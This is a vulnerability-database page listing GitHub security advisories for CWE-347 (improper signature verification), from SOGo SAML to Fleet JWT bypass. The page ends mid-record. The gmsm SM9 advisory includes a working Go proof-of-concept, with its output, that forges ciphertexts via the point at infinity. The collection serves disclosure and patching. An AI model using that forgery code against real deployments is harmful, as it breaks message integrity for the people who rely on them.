Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1438 vulnerabilities reference this CWE, most recent first.

GHSA-5X58-GQG4-WFVQ

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04
VLAI
Details

SOGo 2.x before 2.4.1 and 3.x through 5.x before 5.1.1 does not validate the signatures of any SAML assertions it receives. Any actor with network access to the deployment could impersonate users when SAML is the authentication method. (Only versions after 2.0.5a are affected.)

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2021-33054"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-04T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "SOGo 2.x before 2.4.1 and 3.x through 5.x before 5.1.1 does not validate the signatures of any SAML assertions it receives. Any actor with network access to the deployment could impersonate users when SAML is the authentication method. (Only versions after 2.0.5a are affected.)",
  "id": "GHSA-5x58-gqg4-wfvq",
  "modified": "2022-05-24T19:04:06Z",
  "published": "2022-05-24T19:04:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33054"
    },
    {
      "type": "WEB",
      "url": "https://blogs.akamai.com/2021/06/sogo-and-packetfence-impacted-by-saml-implementation-vulnerabilities.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/inverse-inc/sogo/blob/master/CHANGELOG.md"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/07/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-5029"
    },
    {
      "type": "WEB",
      "url": "https://www.sogo.nu/news.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5XXP-2VRJ-X855

Vulnerability from github – Published: 2026-03-13 16:10 – Updated: 2026-03-16 16:37
VLAI
Summary
SM9 Infinity-Point Ciphertext Forgery Vulnerability
Details

Overview

The current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity.

In the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user's UID can derive the decryption key material and then forge a ciphertext that passes the integrity check.

Impact

The direct impact of this vulnerability is ciphertext forgery, not confidentiality loss.

  • The attacker does not need the master public key, the user's private key, or any other secret material.
  • The attacker only needs to know the target UID to construct a seemingly valid ciphertext.
  • When the recipient invokes the SM9 decryption API, the forged ciphertext decrypts successfully to attacker-chosen plaintext.
  • The C3 integrity check also passes, so this is not merely a format bypass, but a full forgery.

This issue affects the following paths because they all eventually enter the same UnwrapKey logic:

  • sm9.Decrypt
  • sm9.DecryptASN1
  • sm9.UnwrapKey

This means the issue affects not only public-key encryption/decryption, but also key encapsulation/decapsulation.

Severity

This vulnerability should be rated as High.

Using CVSS 3.1 as a reference, it can be characterized as follows:

  • Attack vector: Network
  • Attack complexity: Low
  • Privileges required: None
  • User interaction: None
  • Confidentiality impact: Low or None
  • Integrity impact: High
  • Availability impact: None

Overall, the estimated score falls in the High range, approximately 7.5.

It is High rather than Critical for the following reasons:

  • It does not directly expose private keys and cannot directly decrypt legitimately generated ciphertexts.
  • However, it can reliably break the authenticity and integrity assumptions of decrypted data.
  • In any system that assumes only a legitimate sender can produce ciphertext that decrypts successfully, this is already a serious security failure.

Typical Risk Scenarios

  • An attacker forges a business message that can be successfully decrypted by the target user.
  • The application mistakenly treats successful decryption as evidence that the message came from a legitimate encrypting party.
  • The attacker tricks the recipient into accepting forged instructions, forged notifications, or forged key material.

If a system treats SM9 ciphertext as both confidential and trustworthy in origin, this vulnerability directly breaks that trust assumption.

Root Cause

The root cause is that the implementation does not fully enforce the standard's decryption requirements: C1 must belong to the correct group, and C1 must not be the point at infinity.

It is important to be precise here: the point at infinity is itself a valid element of the elliptic-curve group and is mathematically on-curve. That is not the problem. The problem is not that the implementation incorrectly accepts the point at infinity as an on-curve point. Rather, the SM9 decryption procedure must do more than check that C1 is well-formed and on the curve; it must also explicitly reject C1 when it equals the group identity element O.

The current code only checks:

  • Whether C1 can be successfully deserialized
  • Whether C1 is on the curve

But it is missing:

  • C1 != O (the point at infinity)

In other words, the issue is not that the on-curve check is wrong, but that the implementation omits the additional rejection of the group identity element. That omission is what makes the attack possible.

Vulnerability recurrence

The overall process is as follows: 1. XOR the target plaintext with key[:len(plaintext)] to obtain C2. 2. Calculate C3 = SM3(C2 || key[len(plaintext):]), which involves concatenating C2 with the latter part of the key and then computing the SM3 hash. 3. Construct the ciphertext as ciphertext = C1 || C3 || C2, which means concatenating C1, C3, and C2 to form the final ciphertext. 4. Call sm9.Decrypt(userKey, uid, ciphertext, sm9.DefaultEncrypterOpts) for decryption. 7. Note that the PoC code did not use userKey when constructing the ciphertext. Therefore, if the decryption is successful and the target plaintext is obtained, it proves that the attack was successful.

package sm9_test

import (
    "bytes"
    "crypto/rand"
    "testing"

    "github.com/emmansun/gmsm/internal/sm9/bn256"
    "github.com/emmansun/gmsm/sm3"
    "github.com/emmansun/gmsm/sm9"
)

func TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) {
    masterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader)
    if err != nil {
        t.Fatal(err)
    }
    hid := byte(0x01)
    uid := []byte("victim@example.com")

    userKey, err := masterKey.GenerateUserKey(uid, hid)
    if err != nil {
        t.Fatal(err)
    }

    plaintext := []byte("forged-without-public-encryption")

    c1 := make([]byte, 64)
    gtIdentity := new(bn256.GT).SetOne()

    var kdfInput []byte
    kdfInput = append(kdfInput, c1...)
    kdfInput = append(kdfInput, gtIdentity.Marshal()...)
    kdfInput = append(kdfInput, uid...)

    key1Len := len(plaintext)
    forgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size)

    c2 := make([]byte, key1Len)
    for i := range c2 {
        c2[i] = plaintext[i] ^ forgeKey[i]
    }

    hash := sm3.New()
    hash.Write(c2)
    hash.Write(forgeKey[key1Len:])
    c3 := hash.Sum(nil)

    forgedCiphertext := make([]byte, 0, 64+32+key1Len)
    forgedCiphertext = append(forgedCiphertext, c1...)
    forgedCiphertext = append(forgedCiphertext, c3...)
    forgedCiphertext = append(forgedCiphertext, c2...)

    recovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)
    if err != nil {
        t.Fatalf("public Decrypt rejected forged ciphertext: %v", err)
    }

    if !bytes.Equal(recovered, plaintext) {
        t.Fatalf("plaintext mismatch: got %q, want %q", string(recovered), string(plaintext))
    }

    t.Logf("VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q", string(recovered))
}

Output: VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered="forged-without-public-encryption"

Remediation

In the shared UnwrapKey path used by both SM9 decryption and decapsulation, add an explicit rejection of the point at infinity after Unmarshal and IsOnCurve succeed.

Conceptually:

if p.IsInfinity() {
    return nil, ErrDecryption
}

After the fix, unit tests should be added to ensure that:

  • An all-zero C1 is rejected
  • The raw ciphertext path rejects the forged input
  • The ASN.1 ciphertext path rejects the forged input
  • UnwrapKey also rejects the forged input
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/emmansun/gmsm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.41.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T16:10:12Z",
    "nvd_published_at": "2026-03-16T14:19:39Z",
    "severity": "CRITICAL"
  },
  "details": "## Overview\n\nThe current SM9 decryption implementation contains an infinity-point ciphertext forgery vulnerability. The root cause is that, during decryption, the elliptic-curve point C1 in the ciphertext is only deserialized and checked to be on the curve, but the implementation does not explicitly reject the point at infinity.\n\nIn the current implementation, an attacker can construct C1 as the point at infinity, causing the bilinear pairing result to degenerate into the identity element in the GT group. As a result, a critical part of the key derivation input becomes a predictable constant. An attacker who only knows the target user\u0027s UID can derive the decryption key material and then forge a ciphertext that passes the integrity check.\n\n## Impact\n\nThe direct impact of this vulnerability is ciphertext forgery, not confidentiality loss.\n\n- The attacker does not need the master public key, the user\u0027s private key, or any other secret material.\n- The attacker only needs to know the target UID to construct a seemingly valid ciphertext.\n- When the recipient invokes the SM9 decryption API, the forged ciphertext decrypts successfully to attacker-chosen plaintext.\n- The C3 integrity check also passes, so this is not merely a format bypass, but a full forgery.\n\nThis issue affects the following paths because they all eventually enter the same `UnwrapKey` logic:\n\n- `sm9.Decrypt`\n- `sm9.DecryptASN1`\n- `sm9.UnwrapKey`\n\nThis means the issue affects not only public-key encryption/decryption, but also key encapsulation/decapsulation.\n\n## Severity\n\nThis vulnerability should be rated as High.\n\nUsing CVSS 3.1 as a reference, it can be characterized as follows:\n\n- Attack vector: Network\n- Attack complexity: Low\n- Privileges required: None\n- User interaction: None\n- Confidentiality impact: Low or None\n- Integrity impact: High\n- Availability impact: None\n\nOverall, the estimated score falls in the High range, approximately 7.5.\n\nIt is High rather than Critical for the following reasons:\n\n- It does not directly expose private keys and cannot directly decrypt legitimately generated ciphertexts.\n- However, it can reliably break the authenticity and integrity assumptions of decrypted data.\n- In any system that assumes only a legitimate sender can produce ciphertext that decrypts successfully, this is already a serious security failure.\n\n## Typical Risk Scenarios\n\n- An attacker forges a business message that can be successfully decrypted by the target user.\n- The application mistakenly treats successful decryption as evidence that the message came from a legitimate encrypting party.\n- The attacker tricks the recipient into accepting forged instructions, forged notifications, or forged key material.\n\nIf a system treats SM9 ciphertext as both confidential and trustworthy in origin, this vulnerability directly breaks that trust assumption.\n\n## Root Cause\n\nThe root cause is that the implementation does not fully enforce the standard\u0027s decryption requirements: C1 must belong to the correct group, and C1 must not be the point at infinity.\n\nIt is important to be precise here: the point at infinity is itself a valid element of the elliptic-curve group and is mathematically on-curve. That is not the problem. The problem is not that the implementation incorrectly accepts the point at infinity as an on-curve point. Rather, the SM9 decryption procedure must do more than check that C1 is well-formed and on the curve; it must also explicitly reject C1 when it equals the group identity element O.\n\nThe current code only checks:\n\n- Whether C1 can be successfully deserialized\n- Whether C1 is on the curve\n\nBut it is missing:\n\n- `C1 != O` (the point at infinity)\n\nIn other words, the issue is not that the on-curve check is wrong, but that the implementation omits the additional rejection of the group identity element. That omission is what makes the attack possible.\n\n## Vulnerability recurrence\n\nThe overall process is as follows:\n1. XOR the target plaintext with `key[:len(plaintext)]` to obtain `C2`.\n2. Calculate `C3 = SM3(C2 || key[len(plaintext):])`, which involves concatenating `C2` with the latter part of the key and then computing the SM3 hash.\n3. Construct the ciphertext as `ciphertext = C1 || C3 || C2`, which means concatenating `C1`, `C3`, and `C2` to form the final ciphertext.\n4. Call `sm9.Decrypt(userKey, uid, ciphertext, sm9.DefaultEncrypterOpts)` for decryption.\n7. Note that the PoC code did not use `userKey` when constructing the ciphertext. Therefore, if the decryption is successful and the target plaintext is obtained, it proves that the attack was successful.\n\n```go\npackage sm9_test\n\nimport (\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"testing\"\n\n\t\"github.com/emmansun/gmsm/internal/sm9/bn256\"\n\t\"github.com/emmansun/gmsm/sm3\"\n\t\"github.com/emmansun/gmsm/sm9\"\n)\n\nfunc TestInfinityPointCiphertextForgeryPublicAPI(t *testing.T) {\n\tmasterKey, err := sm9.GenerateEncryptMasterKey(rand.Reader)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\thid := byte(0x01)\n\tuid := []byte(\"victim@example.com\")\n\n\tuserKey, err := masterKey.GenerateUserKey(uid, hid)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tplaintext := []byte(\"forged-without-public-encryption\")\n\n\tc1 := make([]byte, 64)\n\tgtIdentity := new(bn256.GT).SetOne()\n\n\tvar kdfInput []byte\n\tkdfInput = append(kdfInput, c1...)\n\tkdfInput = append(kdfInput, gtIdentity.Marshal()...)\n\tkdfInput = append(kdfInput, uid...)\n\n\tkey1Len := len(plaintext)\n\tforgeKey := sm3.Kdf(kdfInput, key1Len+sm3.Size)\n\n\tc2 := make([]byte, key1Len)\n\tfor i := range c2 {\n\t\tc2[i] = plaintext[i] ^ forgeKey[i]\n\t}\n\n\thash := sm3.New()\n\thash.Write(c2)\n\thash.Write(forgeKey[key1Len:])\n\tc3 := hash.Sum(nil)\n\n\tforgedCiphertext := make([]byte, 0, 64+32+key1Len)\n\tforgedCiphertext = append(forgedCiphertext, c1...)\n\tforgedCiphertext = append(forgedCiphertext, c3...)\n\tforgedCiphertext = append(forgedCiphertext, c2...)\n\n\trecovered, err := sm9.Decrypt(userKey, uid, forgedCiphertext, sm9.DefaultEncrypterOpts)\n\tif err != nil {\n\t\tt.Fatalf(\"public Decrypt rejected forged ciphertext: %v\", err)\n\t}\n\n\tif !bytes.Equal(recovered, plaintext) {\n\t\tt.Fatalf(\"plaintext mismatch: got %q, want %q\", string(recovered), string(plaintext))\n\t}\n\n\tt.Logf(\"VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=%q\", string(recovered))\n}\n```\n\n*Output*: VULN_CONFIRMED: sm9.Decrypt accepted forged ciphertext, recovered=\"forged-without-public-encryption\"\n\n\n## Remediation\n\nIn the shared `UnwrapKey` path used by both SM9 decryption and decapsulation, add an explicit rejection of the point at infinity after `Unmarshal` and `IsOnCurve` succeed.\n\nConceptually:\n\n```go\nif p.IsInfinity() {\n    return nil, ErrDecryption\n}\n```\n\nAfter the fix, unit tests should be added to ensure that:\n\n- An all-zero C1 is rejected\n- The raw ciphertext path rejects the forged input\n- The ASN.1 ciphertext path rejects the forged input\n- `UnwrapKey` also rejects the forged input",
  "id": "GHSA-5xxp-2vrj-x855",
  "modified": "2026-03-16T16:37:09Z",
  "published": "2026-03-13T16:10:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/emmansun/gmsm/security/advisories/GHSA-5xxp-2vrj-x855"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32614"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/emmansun/gmsm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/emmansun/gmsm/releases/tag/v0.41.1"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4694"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SM9 Infinity-Point Ciphertext Forgery Vulnerability"
}

GHSA-626Q-V9J4-MCP4

Vulnerability from github – Published: 2023-02-02 16:59 – Updated: 2024-10-07 21:19
VLAI
Summary
OpenZeppelin Contracts contains Improper Verification of Cryptographic Signature
Details

Cause

is_valid_eth_signature is missing a call to finalize_keccak after calling verify_eth_signature.

Impact

As a result, any contract using is_valid_eth_signature from the account library (such as the EthAccount preset) is vulnerable to a malicious sequencer. Specifically, the malicious sequencer would be able to bypass signature validation to impersonate an instance of these accounts.

Risk

In order to exploit this vulnerability, it is required to control a sequencer or prover since they're the ones executing the hints, being able to inject incorrect keccak results.

Today StarkWare is the only party running both a prover or a sequencer, greatly reducing the risk of exploit.

Patches

The issue has been patched in 0.6.1.

For more information

If you have any questions or comments about this advisory: * Open an issue in the Contracts for Cairo repository * Email us at security@openzeppelin.com

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
6.0 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "openzeppelin-cairo-contracts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-23940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-02T16:59:46Z",
    "nvd_published_at": "2023-02-03T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Cause\n`is_valid_eth_signature` is missing a call to `finalize_keccak` after calling `verify_eth_signature`. \n\n### Impact\nAs a result, any contract using `is_valid_eth_signature` from the account library (such as the `EthAccount` preset) is vulnerable to a malicious sequencer. Specifically, the malicious sequencer would be able to bypass signature validation to impersonate an instance of these accounts.\n\n### Risk\nIn order to exploit this vulnerability, it is required to control a sequencer or prover since they\u0027re the ones executing the hints, being able to inject incorrect keccak results.\n\nToday StarkWare is the only party running both a prover or a sequencer, greatly reducing the risk of exploit.\n\n### Patches\nThe issue has been patched in 0.6.1.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Contracts for Cairo repository](https://github.com/OpenZeppelin/cairo-contracts/issues/new/choose)\n* Email us at [security@openzeppelin.com](mailto:security@openzeppelin.com)",
  "id": "GHSA-626q-v9j4-mcp4",
  "modified": "2024-10-07T21:19:33Z",
  "published": "2023-02-02T16:59:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenZeppelin/cairo-contracts/security/advisories/GHSA-626q-v9j4-mcp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23940"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenZeppelin/cairo-contracts/pull/542/commits/6d4cb750478fca2fd916f73297632f899aca9299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenZeppelin/cairo-contracts"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/openzeppelin-cairo-contracts/PYSEC-2023-39.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenZeppelin Contracts contains Improper Verification of Cryptographic Signature"
}

GHSA-62PP-53WF-PPRQ

Vulnerability from github – Published: 2024-09-17 15:31 – Updated: 2024-09-25 21:30
VLAI
Details

Improper Digital Signature Invalidation  vulnerability in Zip Repair Mode of The Document Foundation LibreOffice allows Signature forgery vulnerability in LibreOfficeThis issue affects LibreOffice: from 24.2 before < 24.2.5.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-7788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-17T15:15:14Z",
    "severity": "HIGH"
  },
  "details": "Improper Digital Signature Invalidation\u00a0 vulnerability in Zip Repair Mode of The Document Foundation LibreOffice allows Signature forgery vulnerability in LibreOfficeThis issue affects LibreOffice: from 24.2 before \u003c 24.2.5.",
  "id": "GHSA-62pp-53wf-pprq",
  "modified": "2024-09-25T21:30:34Z",
  "published": "2024-09-17T15:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7788"
    },
    {
      "type": "WEB",
      "url": "https://www.libreoffice.org/about-us/security/advisories/CVE-2024-7788"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-636H-73HJ-CHGR

Vulnerability from github – Published: 2025-12-09 21:31 – Updated: 2025-12-09 21:31
VLAI
Details

Acrobat Reader versions 24.001.30264, 20.005.30793, 25.001.20982, 24.001.30273, 20.005.30803 and earlier are affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass cryptographic protections and gain limited unauthorized write access. Exploitation of this issue does not require user interaction.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-64787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T21:15:59Z",
    "severity": "LOW"
  },
  "details": "Acrobat Reader versions 24.001.30264, 20.005.30793, 25.001.20982, 24.001.30273, 20.005.30803 and earlier are affected by an Improper Verification of Cryptographic Signature vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass cryptographic protections and gain limited unauthorized write access. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-636h-73hj-chgr",
  "modified": "2025-12-09T21:31:49Z",
  "published": "2025-12-09T21:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64787"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb25-119.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-63M5-974W-448V

Vulnerability from github – Published: 2026-01-20 20:55 – Updated: 2026-02-27 22:02
VLAI
Summary
Fleet has a JWT signature bypass vulnerability in Azure AD MDM enrollment
Details

Summary

A vulnerability in Fleet’s Windows MDM enrollment flow could allow an attacker to submit forged authentication tokens that are not properly validated. Because JWT signatures were not verified, Fleet could accept attacker-controlled identity claims, enabling enrollment of unauthorized devices under arbitrary Azure AD user identities.

Impact

If Windows MDM is enabled, an attacker can enroll rogue devices by submitting a forged JWT containing arbitrary identity claims. Due to missing JWT signature verification, Fleet accepts these claims without validating that the token was issued by Azure AD, allowing enrollment under any Azure AD user identity.

Patches

  • 4.78.3
  • 4.77.1
  • 4.76.2
  • 4.75.2
  • 4.53.3

Workarounds

If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.

For more information

If you have any questions or comments about this advisory:

Email us at security@fleetdm.com Join #fleet in osquery Slack

Credits

We thank @secfox-ai for responsibly reporting this issue.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fleetdm/fleet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.78.0"
            },
            {
              "fixed": "4.78.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fleetdm/fleet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.77.0"
            },
            {
              "fixed": "4.77.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fleetdm/fleet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.76.0"
            },
            {
              "fixed": "4.76.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fleetdm/fleet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.75.0"
            },
            {
              "fixed": "4.75.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fleetdm/fleet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.43.5-0.20260112202845-e225ef57912c"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23518"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T20:55:17Z",
    "nvd_published_at": "2026-01-21T22:15:50Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA vulnerability in Fleet\u2019s Windows MDM enrollment flow could allow an attacker to submit forged authentication tokens that are not properly validated. Because JWT signatures were not verified, Fleet could accept attacker-controlled identity claims, enabling enrollment of unauthorized devices under arbitrary Azure AD user identities.\n\n### Impact\n\nIf Windows MDM is enabled, an attacker can enroll rogue devices by submitting a forged JWT containing arbitrary identity claims. Due to missing JWT signature verification, Fleet accepts these claims without validating that the token was issued by Azure AD, allowing enrollment under any Azure AD user identity.\n\n### Patches\n\n- 4.78.3\n- 4.77.1\n- 4.76.2\n- 4.75.2\n- 4.53.3\n\n### Workarounds\n\nIf an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\nEmail us at [security@fleetdm.com](mailto:security@fleetdm.com)\nJoin #fleet in [osquery Slack](https://join.slack.com/t/osquery/shared_invite/zt-h29zm0gk-s2DBtGUTW4CFel0f0IjTEw)\n\n### Credits\n\nWe thank @secfox-ai for responsibly reporting this issue.",
  "id": "GHSA-63m5-974w-448v",
  "modified": "2026-02-27T22:02:58Z",
  "published": "2026-01-20T20:55:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fleetdm/fleet/security/advisories/GHSA-63m5-974w-448v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23518"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fleetdm/fleet/commit/e225ef57912c8f4ac8977e24b5ebe1d9fd875257"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fleetdm/fleet"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4335"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fleet has a JWT signature bypass vulnerability in Azure AD MDM enrollment "
}

GHSA-63PW-VHJP-V4V8

Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33
VLAI
Details

An unsigned-library issue was discovered in ProlinOS through 2.4.161.8859R. This OS requires installed applications and all system binaries to be signed either by the manufacturer or by the Point Of Sale application developer and distributor. The signature is a 2048-byte RSA signature verified in the kernel prior to ELF execution. Shared libraries, however, do not need to be signed, and they are not verified. An attacker may execute a custom binary by compiling it as a shared object and loading it via LD_PRELOAD.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-28045"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-02T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "An unsigned-library issue was discovered in ProlinOS through 2.4.161.8859R. This OS requires installed applications and all system binaries to be signed either by the manufacturer or by the Point Of Sale application developer and distributor. The signature is a 2048-byte RSA signature verified in the kernel prior to ELF execution. Shared libraries, however, do not need to be signed, and they are not verified. An attacker may execute a custom binary by compiling it as a shared object and loading it via LD_PRELOAD.",
  "id": "GHSA-63pw-vhjp-v4v8",
  "modified": "2022-05-24T17:33:01Z",
  "published": "2022-05-24T17:33:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28045"
    },
    {
      "type": "WEB",
      "url": "https://git.lsd.cat/g/pax-pwn"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-63RM-C268-28FH

Vulnerability from github – Published: 2024-08-06 18:30 – Updated: 2024-08-06 18:30
VLAI
Details

The Zscaler Updater process does not validate the digital signature of the installer before execution, allowing arbitrary code to be locally executed. This affects Zscaler Client Connector on MacOS <4.2.

Severity
6.4 (Medium)
CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-23460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-06T16:15:47Z",
    "severity": "MODERATE"
  },
